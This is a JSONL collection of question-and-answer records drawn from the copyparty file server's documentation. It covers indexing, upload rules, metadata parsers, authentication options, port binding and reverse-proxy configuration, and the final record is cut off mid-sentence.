{"id": "gh_863128c145ce", "question": "How to: file indexing", "question_body": "About 9001/copyparty", "answer": "enable music search, upload-undo, and better dedup\n\nfile indexing relies on two database tables, the up2k filetree (`-e2d`) and the metadata tags (`-e2t`), stored in `.hist/up2k.db`. Configuration can be done through arguments, volflags, or a mix of both.\n\nthrough arguments:\n* `-e2d` enables file indexing on upload\n* `-e2ds` also scans writable folders for new files on startup\n* `-e2dsa` also scans all mounted volumes (including readonly ones)\n* `-e2t` enables metadata indexing on upload\n* `-e2ts` also scans for tags in all files that don't have tags yet\n* `-e2tsr` also deletes all existing tags, doing a full reindex\n* `-e2v` verifies file integrity at startup, comparing hashes from the db\n* `-e2vu` patches the database with the new hashes from the filesystem\n* `-e2vp` panics and kills copyparty instead\n\nthe same arguments can be set as volflags, in addition to `d2d`, `d2ds`, `d2t`, `d2ts`, `d2v` for disabling:\n* `-v ~/music::r:c,e2ds,e2tsr` does a full reindex of everything on startup\n* `-v ~/music::r:c,d2d` disables **all** indexing, even if any `-e2*` are on\n* `-v ~/music::r:c,d2t` disables all `-e2t*` (tags), does not affect `-e2d*`\n* `-v ~/music::r:c,d2ds` disables on-boot scans; only index new uploads\n* `-v ~/music::r:c,d2ts` same except only affecting tags\n\nnote:\n* upload-times can be displayed in the file listing by enabling the `.up_at` metadata key, either globally with `-e2d -mte +.up_at` or per-volume with volflags `e2d,mte=+.up_at` (will have a ~17% performance impact on directory listings)\n  * and file checksums can be shown with global-option `-e2d -mte +w` or volflag `e2d,mte=+w` (always active for users with permission `a`)\n* `e2tsr` is probably always overkill, since `e2ds`/`e2dsa` would pick up any file modifications and `e2ts` would then reindex those, unless there is a new copyparty version with new parsers and the release note says otherwise\n\nconfig file example (these options are recommended btw):\n\n```yaml\n[global]\n  e2dsa  # scan and index all files in all volumes on startup\n  e2ts   # check newly-discovered or uploaded files for media tags\n```", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780527"}
{"id": "gh_909b9cd25024", "question": "How to: exclude-patterns", "question_body": "About 9001/copyparty", "answer": "to save some time,  you can provide a regex pattern for filepaths to only index by filename/path/size/last-modified (and not the hash of the file contents) by setting `--no-hash '\\.iso$'` or the volflag `:c,nohash=\\.iso$`, this has the following consequences:\n* initial indexing is way faster, especially when the volume is on a network disk\n* makes it impossible to [file-search](#file-search)\n* if someone uploads the same file contents, the upload will not be detected as a dupe, so it will not get symlinked or rejected\n\nsimilarly, you can fully ignore files/folders using `--no-idx [...]` and `:c,noidx=\\.iso$`\n\nNOTE: `no-idx` and/or `no-hash` prevents deduplication of those files\n\n* when running on macos, all the usual apple metadata files are excluded by default\n\nif you set `--no-hash [...]` globally, you can enable hashing for specific volumes using flag `:c,nohash=`\n\nto exclude certain filepaths from search-results, use `--srch-excl` or volflag `srch_excl` instead of `--no-idx`, for example `--srch-excl 'password|logs/[0-9]'`\n\nconfig file example:\n\n```yaml\n[/games]\n  /mnt/nas/games\n  flags:\n    noidx: \\.iso$  # skip indexing iso-files\n    srch_excl: password|logs/[0-9]  # filter search results\n```", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780534"}
{"id": "gh_4f82b3dd07c1", "question": "How to: filesystem guards", "question_body": "About 9001/copyparty", "answer": "avoid traversing into other filesystems  using `--xdev` / volflag `:c,xdev`, skipping any symlinks or bind-mounts to another HDD for example\n\nand/or you can `--xvol` / `:c,xvol` to ignore all symlinks leaving the volume's top directory, but still allow bind-mounts pointing elsewhere\n\n* symlinks are permitted with `xvol` if they point into another volume where the user has the same level of access\n\nthese options will reduce performance; unlikely worst-case estimates are 14% reduction for directory listings, 35% for download-as-tar\n\nas of copyparty v1.7.0 these options also prevent file access at runtime -- in previous versions it was just hints for the indexer", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780539"}
{"id": "gh_b2364fbc5623", "question": "How to: periodic rescan", "question_body": "About 9001/copyparty", "answer": "filesystem monitoring;  if copyparty is not the only software doing stuff on your filesystem, you may want to enable periodic rescans to keep the index up to date\n\nargument `--re-maxage 60` will rescan all volumes every 60 sec, same as volflag `:c,scan=60` to specify it per-volume\n\nuploads are disabled while a rescan is happening, so rescans will be delayed by `--db-act` (default 10 sec) when there is write-activity going on (uploads, renames, ...)\n\nnote: folder-thumbnails are selected during filesystem indexing, so periodic rescans can be used to keep them accurate as images are uploaded/deleted (or manually do a rescan with the `reload` button in the controlpanel)\n\nconfig file example:\n\n```yaml\n[global]\n  re-maxage: 3600\n\n[/pics]\n  /mnt/nas/pics\n  flags:\n    scan: 900\n```", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780545"}
{"id": "gh_ce48a665fbb6", "question": "How to: upload rules", "question_body": "About 9001/copyparty", "answer": "set upload rules using volflags,  some examples:\n\n* `:c,sz=1k-3m` sets allowed filesize between 1 KiB and 3 MiB inclusive (suffixes: `b`, `k`, `m`, `g`)\n* `:c,df=4g` block uploads if there would be less than 4 GiB free disk space afterwards\n* `:c,vmaxb=1g` block uploads if total volume size would exceed 1 GiB afterwards\n* `:c,vmaxn=4k` block uploads if volume would contain more than 4096 files afterwards\n* `:c,nosub` disallow uploading into subdirectories; goes well with `rotn` and `rotf`:\n* `:c,rotn=1000,2` moves uploads into subfolders, up to 1000 files in each folder before making a new one, two levels deep (must be at least 1)\n* `:c,rotf=%Y/%m/%d/%H` enforces files to be uploaded into a structure of subfolders according to that date format\n  * `:c,rotf_tz=Europe/Oslo` sets the timezone (default is UTC unless global-option `rotf-tz` is changed)\n  * if someone uploads to `/foo/bar` the path would be rewritten to `/foo/bar/2021/08/06/23` for example\n  * but the actual value is not verified, just the structure, so the uploader can choose any values which conform to the format string\n    * just to avoid additional complexity in up2k which is enough of a mess already\n* `:c,lifetime=300` delete uploaded files when they become 5 minutes old\n\nyou can also set transaction limits which apply per-IP and per-volume, but these assume `-j 1` (default) otherwise the limits will be messed up, for example `-j 4` would allow anywhere between 1x and 4x the limits you set depending on which processing node the client gets routed to\n\n* `:c,maxn=250,3600` allows 250 files over 1 hour from each IP (tracked per-volume)\n* `:c,maxb=1g,300` allows 1 GiB total over 5 minutes from each IP (tracked per-volume)\n\nnotes:\n* `vmaxb` and `vmaxn` requires either the `e2ds` volflag or `-e2dsa` global-option\n\nconfig file example:\n\n```yaml\n[/inc]\n  /mnt/nas/uploads\n  accs:\n    w: *    # anyone can upload here\n    rw: ed  # only user \"ed\" can read-write\n  flags:\n    e2ds       # filesystem indexing is required for many of these:\n    sz: 1k-3m  # accept upload only if filesize in this range\n    df: 4g     # free disk space cannot go lower than this\n    vmaxb: 1g  # volume can never exceed 1 GiB\n    vmaxn: 4k  # ...or 4000 files, whichever comes first\n    nosub      # must upload to toplevel folder\n    lifetime: 300   # uploads are deleted after 5min\n    maxn: 250,3600  # each IP can upload 250 files in 1 hour\n    maxb: 1g,300    # each IP can upload 1 GiB over 5 minutes\n```", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780554"}
{"id": "gh_c7628a8867e8", "question": "How to: compress uploads", "question_body": "About 9001/copyparty", "answer": "files can be autocompressed on upload,  either on user-request (if config allows) or forced by server-config\n\n* volflag `gz` allows gz compression\n* volflag `xz` allows lzma compression\n* volflag `pk` **forces** compression on all files\n* url parameter `pk` requests compression with server-default algorithm\n* url parameter `gz` or `xz` requests compression with a specific algorithm\n* url parameter `xz` requests xz compression\n\nthings to note,\n* the `gz` and `xz` arguments take a single optional argument, the compression level (range 0 to 9)\n* the `pk` volflag takes the optional argument `ALGORITHM,LEVEL` which will then be forced for all uploads, for example `gz,9` or `xz,0`\n* default compression is gzip level 9\n* all upload methods except up2k are supported\n* the files will be indexed after compression, so dupe-detection and file-search will not work as expected\n\nsome examples,\n* `-v inc:inc:w:c,pk=xz,0`  \n  folder named inc, shared at inc, write-only for everyone, forces xz compression at level 0\n* `-v inc:inc:w:c,pk`  \n  same write-only inc, but forces gz compression (default) instead of xz\n* `-v inc:inc:w:c,gz`  \n  allows (but does not force) gz compression if client uploads to `/inc?pk` or `/inc?gz` or `/inc?gz=4`", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780562"}
{"id": "gh_62dbda1f6ad2", "question": "How to: chmod and chown", "question_body": "About 9001/copyparty", "answer": "per-volume filesystem-permissions and ownership\n\nby default:\n* all folders are chmod 755\n* files are usually chmod 644 (umask-defined)\n* user/group is whatever copyparty is running as\n\nthis can be configured per-volume:\n* volflag `chmod_f` sets file permissions; default=`644` (usually)\n* volflag `chmod_d` sets directory permissions; default=`755`\n* volflag `uid` sets the owner user-id\n* volflag `gid` sets the owner group-id\n\nnotes:\n* `gid` can only be set to one of the groups which the copyparty process is a member of\n* `uid` can only be set if copyparty is running as root (i appreciate your faith)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780568"}
{"id": "gh_39b4945cf59a", "question": "How to: other flags", "question_body": "About 9001/copyparty", "answer": "* `:c,magic` enables filetype detection for nameless uploads, same as `--magic`\n  * needs https://pypi.org/project/python-magic/ `python3 -m pip install --user -U python-magic`\n  * on windows grab this instead `python3 -m pip install --user -U python-magic-bin`\n* `cachectl` changes how webbrowser will cache responses (the `Cache-Control` response-header); default is `no-cache` which will prevent repeated downloading of the same file unless necessary (browser will ask copyparty if the file has changed)\n  * adding `?cache` to a link will override this with \"fully cache this for 69 seconds\"; `?cache=321` is 321 seconds, and `?cache=i` is 7 days", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780573"}
{"id": "gh_204533847fc4", "question": "How to: database location", "question_body": "About 9001/copyparty", "answer": "in-volume (`.hist/up2k.db`, default) or somewhere else\n\ncopyparty creates a subfolder named `.hist` inside each volume where it stores the database, thumbnails, and some other stuff\n\nthis can instead be kept in a single place using the `--hist` argument, or the `hist=` volflag, or a mix of both:\n* `--hist ~/.cache/copyparty -v ~/music::r:c,hist=-` sets `~/.cache/copyparty` as the default place to put volume info, but `~/music` gets the regular `.hist` subfolder (`-` restores default behavior)\n\nby default, the per-volume `up2k.db` sqlite3-database for `-e2d` and `-e2t` is stored next to the thumbnails according to the `--hist` option, but the global-option `--dbpath` and/or volflag `dbpath` can be used to put the database somewhere else\n\nif your storage backend is unreliable (NFS or bad HDDs), you can specify one or more \"landmarks\" to look for before doing anything database-related. A landmark is a file which is always expected to exist inside the volume. This avoids spurious filesystem rescans in the event of an outage. One line per landmark (see example below)\n\nnote:\n* putting the hist-folders on an SSD is strongly recommended for performance\n* markdown edits are always stored in a local `.hist` subdirectory\n* on windows the volflag path is cyglike, so `/c/temp` means `C:\\temp` but use regular paths for `--hist`\n  * you can use cygpaths for volumes too, `-v C:\\Users::r` and `-v /c/users::r` both work\n\nconfig file example:\n\n```yaml\n[global]\n  hist: ~/.cache/copyparty  # put db/thumbs/etc. here by default\n\n[/pics]\n  /mnt/nas/pics\n  flags:\n    hist: -  # restore the default (/mnt/nas/pics/.hist/)\n    hist: /mnt/nas/cache/pics/  # can be absolute path\n    landmark: me.jpg  # /mnt/nas/pics/me.jpg must be readable to enable db\n    landmark: info/a.txt^=ok  # and this textfile must start with \"ok\"\n```", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780581"}
{"id": "gh_08a10e8f6f57", "question": "How to: metadata from audio files", "question_body": "About 9001/copyparty", "answer": "set `-e2t` to index tags on upload\n\n`-mte` decides which tags to index and display in the browser (and also the display order), this can be changed per-volume:\n* `-v ~/music::r:c,mte=title,artist` indexes and displays *title* followed by *artist*\n\nif you add/remove a tag from `mte` you will need to run with `-e2tsr` once to rebuild the database, otherwise only new files will be affected\n\nbut instead of using `-mte`, `-mth` is a better way to hide tags in the browser: these tags will not be displayed by default, but they still get indexed and become searchable, and users can choose to unhide them in the `[⚙️] config` pane\n\n`-mtm` can be used to add or redefine a metadata mapping, say you have media files with `foo` and `bar` tags and you want them to display as `qux` in the browser (preferring `foo` if both are present), then do `-mtm qux=foo,bar` and now you can `-mte artist,title,qux`\n\ntags that start with a `.` such as `.bpm` and `.dur`(ation) indicate numeric value\n\nsee the beautiful mess of a dictionary in [mtag.py](https://github.com/9001/copyparty/blob/hovudstraum/copyparty/mtag.py) for the default mappings (should cover mp3,opus,flac,m4a,wav,aif,)\n\n`--no-mutagen` disables Mutagen and uses FFprobe instead, which...\n* is about 20x slower than Mutagen\n* catches a few tags that Mutagen doesn't\n  * melodic key, video resolution, framerate, pixfmt\n* avoids pulling any GPL code into copyparty\n* more importantly runs FFprobe on incoming files which is bad if your FFmpeg has a cve\n\n`--mtag-to` sets the tag-scan timeout; very high default (60 sec) to cater for zfs and other randomly-freezing filesystems. Lower values like 10 are usually safe, allowing for faster processing of tricky files", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780592"}
{"id": "gh_083527ea369d", "question": "How to: metadata from xattrs", "question_body": "About 9001/copyparty", "answer": "unix extended file attributes  can be indexed into the db and made searchable;\n\n* `--db-xattr user.foo,user.bar` will index the xattrs `user.foo` and `user.bar`,\n* `--db-xattr user.foo=foo,user.bar=bar` will index them with the names `foo` and `bar`,\n* `--db-xattr ~~user.foo,user.bar` will index everything *except* `user.foo` and `user.bar`,\n* `--db-xattr ~~` will index everything\n\nhowever note that the tags must also be enabled with `-mte` so here are some complete examples:\n* `-e2ts --db-xattr user.foo,user.bar -mte +user.foo,user.bar`\n* `-e2ts --db-xattr user.foo=foo,user.bar=bar -mte +foo,bar`", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780598"}
{"id": "gh_94626d0bd120", "question": "How to: file parser plugins", "question_body": "About 9001/copyparty", "answer": "provide custom parsers to index additional tags,  also see [./bin/mtag/README.md](./bin/mtag/README.md)\n\ncopyparty can invoke external programs to collect additional metadata for files using `mtp` (either as argument or volflag), there is a default timeout of 60sec, and only files which contain audio get analyzed by default (see ay/an/ad below)\n\n* `-mtp .bpm=~/bin/audio-bpm.py` will execute `~/bin/audio-bpm.py` with the audio file as argument 1 to provide the `.bpm` tag, if that does not exist in the audio metadata\n* `-mtp key=f,t5,~/bin/audio-key.py` uses `~/bin/audio-key.py` to get the `key` tag, replacing any existing metadata tag (`f,`), aborting if it takes longer than 5sec (`t5,`)\n* `-v ~/music::r:c,mtp=.bpm=~/bin/audio-bpm.py:c,mtp=key=f,t5,~/bin/audio-key.py` both as a per-volume config wow this is getting ugly\n\n*but wait, there's more!* `-mtp` can be used for non-audio files as well using the `a` flag: `ay` only do audio files (default), `an` only do non-audio files, or `ad` do all files (d as in dontcare)\n\n* \"audio file\" also means videos btw, as long as there is an audio stream\n* `-mtp ext=an,~/bin/file-ext.py` runs `~/bin/file-ext.py` to get the `ext` tag only if file is not audio (`an`)\n* `-mtp arch,built,ver,orig=an,eexe,edll,~/bin/exe.py` runs `~/bin/exe.py` to get properties about windows-binaries only if file is not audio (`an`) and file extension is exe or dll\n* if you want to daisychain parsers, use the `p` flag to set processing order\n  * `-mtp foo=p1,~/a.py` runs before `-mtp foo=p2,~/b.py` and will forward all the tags detected so far as json to the stdin of b.py\n* option `c0` disables capturing of stdout/stderr, so copyparty will not receive any tags from the process at all -- instead the invoked program is free to print whatever to the console, just using copyparty as a launcher\n  * `c1` captures stdout only, `c2` only stderr, and `c3` (default) captures both\n* you can control how the parser is killed if it times out with option `kt` killing the entire process tree (default), `km` just the main process, or `kn` let it continue running until copyparty is terminated\n\nif something doesn't work, try `--mtag-v` for verbose error messages\n\nconfig file example; note that `mtp` is an additive option so all of the mtp options will take effect:\n\n```yaml\n[/music]\n  /mnt/nas/music\n  flags:\n    mtp: .bpm=~/bin/audio-bpm.py  # assign \".bpm\" (numeric) with script\n    mtp: key=f,t5,~/bin/audio-key.py  # force/overwrite, 5sec timeout\n    mtp: ext=an,~/bin/file-ext.py  # will only run on non-audio files\n    mtp: arch,built,ver,orig=an,eexe,edll,~/bin/exe.py  # only exe/dll\n```", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780606"}
{"id": "gh_92e7ad74eced", "question": "How to: event hooks", "question_body": "About 9001/copyparty", "answer": "trigger a program on uploads, renames etc ([examples](./bin/hooks/))\n\nyou can set hooks before and/or after an event happens, and currently you can hook uploads, moves/renames, and deletes\n\nthere's a bunch of flags and stuff, see [`--help-hooks`](https://copyparty.eu/cli/#hooks-help-page)\n\nif you want to write your own hooks, see [devnotes](./docs/devnotes.md#event-hooks)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780611"}
{"id": "gh_88a973cfbabf", "question": "How to: restrict to ip", "question_body": "About 9001/copyparty", "answer": "limit a user to certain IP ranges (CIDR)  , using the global-option `--ipr`\n\nfor example, if the user `spartacus` should get rejected if they're not connecting from an IP that starts with `192.168.123` or `172.16`, then you can either specify `--ipr=192.168.123.0/24,172.16.0.0/16=spartacus` as a commandline option, or put this in a config file:\n\n```yaml\n[global]\n  ipr: 192.168.123.0/24,172.16.0.0/16=spartacus\n```\n\nrepeat the option to map additional users", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780625"}
{"id": "gh_01ddc5d8d2bf", "question": "How to: identity providers", "question_body": "About 9001/copyparty", "answer": "replace copyparty passwords with oauth and such\n\nyou can disable the built-in password-based login system, and instead replace it with a separate piece of software (an identity provider) which will then handle authenticating / authorizing of users; this makes it possible to login with passkeys / fido2 / webauthn / yubikey / ldap / active directory / oauth / many other single-sign-on contraptions\n\n* the regular config-defined users will be used as a fallback for requests which don't include a valid (trusted) IdP username header\n\n  * `--auth-ord` configured auth precedence, for example to allow overriding the IdP with a copyparty password\n\n* the login/logout links/buttons can be replaced with links to your IdP with `--idp-login` and `--idp-logout` , for example `--idp-login /idp/login/?redir={dst}` will expand `{dst}` to the page the user was on when clicking Login\n\n* if your IdP-server is slow, consider `--idp-cookie` and let requests with the cookie `cppws` bypass the IdP; experimental sessions-based feature added for a party\n\nsome popular identity providers are [Authelia](https://www.authelia.com/) (config-file based) and [authentik](https://goauthentik.io/) (GUI-based, more complex)\n\nthere is a [docker-compose example](./docs/examples/docker/idp-authelia-traefik) which is hopefully a good starting point (alternatively see [./docs/idp.md](./docs/idp.md) if you're the DIY type)\n\na more complete example of the copyparty configuration options [look like this](./docs/examples/docker/idp/copyparty.conf)\n\nbut if you just want to let users change their own passwords, then you probably want [user-changeable passwords](#user-changeable-passwords) instead", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780632"}
{"id": "gh_78b12e7e0735", "question": "How to: generic header auth", "question_body": "About 9001/copyparty", "answer": "other ways to auth by header\n\nif you have a middleware which adds a header with a user identifier, for example tailscale's `Tailscale-User-Login: alice.m@forest.net` then you can automatically auth as `alice` by defining that mapping with `--idp-hm-usr '^Tailscale-User-Login^alice.m@forest.net^alice'` or the following config file:\n\n```yaml\n[global]\n  idp-hm-usr: ^Tailscale-User-Login^alice.m@forest.net^alice\n```\n\nrepeat the whole `idp-hm-usr` option to add more mappings", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780637"}
{"id": "gh_567bc8b58b43", "question": "How to: user-changeable passwords", "question_body": "About 9001/copyparty", "answer": "if permitted, users can change their own passwords  in the control-panel\n\n* not compatible with [identity providers](#identity-providers)\n\n* must be enabled with `--chpw` because account-sharing is a popular usecase\n\n  * if you want to enable the feature but deny password-changing for a specific list of accounts, you can do that with `--chpw-no name1,name2,name3,...`\n\n* to perform a password reset, edit the server config and give the user another password there, then do a [config reload](#server-config) or server restart\n\n* the custom passwords are kept in a textfile at filesystem-path `--chpw-db`, by default `chpw.json` in the copyparty config folder\n\n  * if you run multiple copyparty instances with different users you *almost definitely* want to specify separate DBs for each instance\n\n  * if [password hashing](#password-hashing) is enabled, the passwords in the db are also hashed\n\n    * ...which means that all user-defined passwords will be forgotten if you change password-hashing settings", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780644"}
{"id": "gh_41150992dc73", "question": "How to: using the cloud as storage", "question_body": "About 9001/copyparty", "answer": "connecting to an aws s3 bucket and similar\n\nthere is no built-in support for this, but you can use FUSE-software such as [rclone](https://rclone.org/) / [geesefs](https://github.com/yandex-cloud/geesefs) / [JuiceFS](https://juicefs.com/en/) to first mount your cloud storage as a local disk, and then let copyparty use (a folder in) that disk as a volume\n\nif copyparty is unable to access the local folder that rclone/geesefs/JuiceFS provides (for example if it looks invisible) then you may need to run rclone with `--allow-other` and/or enable `user_allow_other` in `/etc/fuse.conf`\n\nyou will probably get decent speeds with the default config, however most likely restricted to using one TCP connection per file, so the upload-client won't be able to send multiple chunks in parallel\n\n> before [v1.13.5](https://github.com/9001/copyparty/releases/tag/v1.13.5) it was recommended to use the volflag `sparse` to force-allow multiple chunks in parallel; this would improve the upload-speed from `1.5 MiB/s` to over `80 MiB/s` at the risk of provoking latent bugs in S3 or JuiceFS. But v1.13.5 added chunk-stitching, so this is now probably much less important. On the contrary, `nosparse` *may* now increase performance in some cases. Please try all three options (default, `sparse`, `nosparse`) as the optimal choice depends on your network conditions and software stack (both the FUSE-driver and cloud-server)\n\nsomeone has also tested geesefs in combination with [gocryptfs](https://nuetzlich.net/gocryptfs/) with surprisingly good results, getting 60 MiB/s upload speeds on a gbit line, but JuiceFS won with 80 MiB/s using its built-in encryption\n\nyou may improve performance by specifying larger values for `--iobuf` / `--s-rd-sz` / `--s-wr-sz`\n\n> if you've experimented with this and made interesting observations, please share your findings so we can add a section with specific recommendations :-)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780652"}
{"id": "gh_6b243f96b5ca", "question": "How to: hiding from google", "question_body": "About 9001/copyparty", "answer": "tell search engines you don't wanna be indexed,  either using the good old [robots.txt](https://www.robotstxt.org/robotstxt.html) or through copyparty settings:\n\n* `--no-robots` adds HTTP (`X-Robots-Tag`) and HTML (`\n`) headers with `noindex, nofollow` globally\n* volflag `[...]:c,norobots` does the same thing for that single volume\n* volflag `[...]:c,robots` ALLOWS search-engine crawling for that volume, even if `--no-robots` is set globally\n\nalso, `--force-js` disables the plain HTML folder listing, making things harder to parse for *some* search engines -- note that crawlers which understand javascript (such as google) will not be affected", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780657"}
{"id": "gh_d97c1a77eaef", "question": "How to: complete examples", "question_body": "About 9001/copyparty", "answer": "* see [running on windows](./docs/examples/windows.md) for a fancy windows setup\n\n  * or use any of the examples below, just replace `python copyparty-sfx.py` with `copyparty.exe` if you're using the exe edition\n\n* allow anyone to download or upload files into the current folder:  \n  `python copyparty-sfx.py`\n\n  * enable searching and music indexing with `-e2dsa -e2ts`\n\n  * start an FTP server on port 3921 with `--ftp 3921`\n\n  * announce it on your LAN with `-z` so it appears in windows/Linux file managers\n\n* anyone can upload, but nobody can see any files (even the uploader):  \n  `python copyparty-sfx.py -e2dsa -v .::w`\n\n  * block uploads if there's less than 4 GiB free disk space with `--df 4`\n\n  * show a popup on new uploads with `--xau bin/hooks/notify.py`\n\n* anyone can upload, and receive \"secret\" links for each upload they do:  \n  `python copyparty-sfx.py -e2dsa -v .::wG:c,fk=8`\n\n* anyone can browse (`r`), only `kevin` (password `okgo`) can upload/move/delete (`A`) files:  \n  `python copyparty-sfx.py -e2dsa -a kevin:okgo -v .::r:A,kevin`\n\n* read-only music server:  \n  `python copyparty-sfx.py -v /mnt/nas/music:/music:r -e2dsa -e2ts --no-robots --force-js --theme 2`\n  \n  * ...with bpm and key scanning  \n    `-mtp .bpm=f,audio-bpm.py -mtp key=f,audio-key.py`\n  \n  * ...with a read-write folder for `kevin` whose password is `okgo`  \n    `-a kevin:okgo -v /mnt/nas/inc:/inc:rw,kevin`\n  \n  * ...with logging to disk  \n    `-lo log/cpp-%Y-%m%d-%H%M%S.txt.xz`", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780668"}
{"id": "gh_a40711681c34", "question": "How to: listen on port 80 and 443", "question_body": "About 9001/copyparty", "answer": "become a *real* webserver  which people can access by just going to your IP or domain without specifying a port\n\n**if you're on windows,** then you just need to add the commandline argument `-p 80,443` and you're done! nice\n\n**if you're on macos,** sorry, I don't know\n\n**if you're on Linux,** you have the following 4 options:\n\n* **option 1:** set up a [reverse-proxy](#reverse-proxy) -- this one makes a lot of sense if you're running on a proper headless server, because that way you get real HTTPS too\n\n* **option 2:** NAT to port 3923 -- this is cumbersome since you'll need to do it every time you reboot, and the exact command may depend on your linux distribution:\n  ```bash\n  iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3923\n  iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 3923\n  ```\n\n* **option 3:** disable the [security policy](https://www.w3.org/Daemon/User/Installation/PrivilegedPorts.html) which prevents the use of 80 and 443; this is *probably* fine:\n  ```\n  setcap CAP_NET_BIND_SERVICE=+eip $(realpath $(which python))\n  python copyparty-sfx.py -p 80,443\n  ```\n\n* **option 4:** run copyparty as root (please don't)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780674"}
{"id": "gh_ede2a7193a5b", "question": "How to: reverse-proxy", "question_body": "About 9001/copyparty", "answer": "running copyparty next to other websites  hosted on an existing webserver such as nginx, caddy, or apache\n\nyou can either:\n* give copyparty its own domain or subdomain (recommended)\n* or do location-based proxying, using `--rp-loc=/stuff` to tell copyparty where it is mounted -- has a slight performance cost and higher chance of bugs\n  * if copyparty says `incorrect --rp-loc or webserver config; expected vpath starting with [...]` it's likely because the webserver is stripping away the proxy location from the request URLs -- see the `ProxyPass` in the apache example below\n\nwhen running behind a reverse-proxy (this includes services like cloudflare), it is important to configure real-ip correctly, as many features rely on knowing the client's IP. The best/safest approach is to configure your reverse-proxy so it gives copyparty a header which only contains the client's true/real IP-address, and then setting `--xff-hdr theHeaderName --rproxy 1` but alternatively, if you want/need to let copyparty handle this, look out for red and yellow log messages which explain how to do that. Basically, the log will say this:\n\n> set `--xff-hdr` to the name of the http-header to read the IP from (usually `x-forwarded-for`, but cloudflare uses `cf-connecting-ip`), and then `--xff-src` to the IP of the reverse-proxy so copyparty will trust the xff-hdr. You will also need to configure `--rproxy` to `1` if the header only contains one IP (the correct one) or to a *negative value* if it contains multiple; `-1` being the rightmost and most trusted IP (the nearest proxy, so usually not the correct one), `-2` being the second-closest hop, and so on\n\nNote that `--rp-loc` in particular will not work at all unless you configure the above correctly\n\nsome reverse proxies (such as [Caddy](https://caddyserver.com/)) can automatically obtain a valid https/tls certificate for you, and some support HTTP/2 and QUIC which *could* be a nice speed boost, depending on a lot of factors\n* **warning:** nginx-QUIC (HTTP/3) is still experimental and can make uploads much slower, so 